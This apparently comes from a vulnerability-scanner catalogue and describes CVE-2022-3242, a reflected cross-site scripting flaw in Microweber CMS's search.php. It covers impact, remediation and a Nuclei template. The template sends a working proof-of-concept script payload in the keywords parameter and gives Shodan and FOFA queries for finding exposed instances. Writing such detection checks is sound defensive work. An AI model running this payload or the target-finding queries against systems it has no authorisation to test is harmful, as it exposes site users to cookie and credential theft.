Microweber <1.3.2 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.9%likelihood of exploitation, next 30 days

80%of all CVEs are less likely

Readycheck to confirm it

Code Injection in on search.php?keywords= GitHub repository microweber/microweber prior to 1.3.2.

Impact

Attackers can craft malicious search URLs with JavaScript in the keywords parameter that executes when users access search results, potentially stealing session cookies, admin credentials, or performing unauthorized content modifications in Microweber CMS.

Fix

Update Microweber to version 1.3.2 or later that properly sanitizes and encodes the keywords parameter in search.php.

How to confirm it

Send: GET {{BaseURL}}/search.php?keywords=ABC%3Cdiv%20style=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: status_code == 200 and contains(content_type, "text/html") and contains(body, "<script>alert(document.domain)</script>") && contains(tolower(body), "microweber")

Run it with nuclei: nuclei -id CVE-2022-3242 -u <target>

The full check

id: CVE-2022-3242

info:
  name: Microweber <1.3.2 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Code Injection in on search.php?keywords= GitHub repository microweber/microweber prior to 1.3.2.
  impact: |
    Attackers can craft malicious search URLs with JavaScript in the keywords parameter that executes when users access search results, potentially stealing session cookies, admin credentials, or performing unauthorized content modifications in Microweber CMS.
  remediation: |
    Update Microweber to version 1.3.2 or later that properly sanitizes and encodes the keywords parameter in search.php.
  reference:
    - https://huntr.dev/bounties/3e6b218a-a5a6-40d9-9f7e-5ab0c6214faf/
    - https://www.tenable.com/cve/CVE-2022-3242
    - https://nvd.nist.gov/vuln/detail/CVE-2022-3242
    - https://github.com/microweber/microweber/commit/68f0721571653db865a5fa01c7986642c82e919c
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-3242
    cwe-id: CWE-79,CWE-94
    epss-score: 0.01946
    epss-percentile: 0.80353
    cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: microweber
    product: microweber
    shodan-query:
      - http.favicon.hash:780351152
      - http.html:"microweber"
    fofa-query:
      - body="microweber"
      - icon_hash=780351152
  tags: cve,cve2022,huntr,xss,microweber,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/search.php?keywords=ABC%3Cdiv%20style=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "<script>alert(document.domain)</script>") && contains(tolower(body), "microweber")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from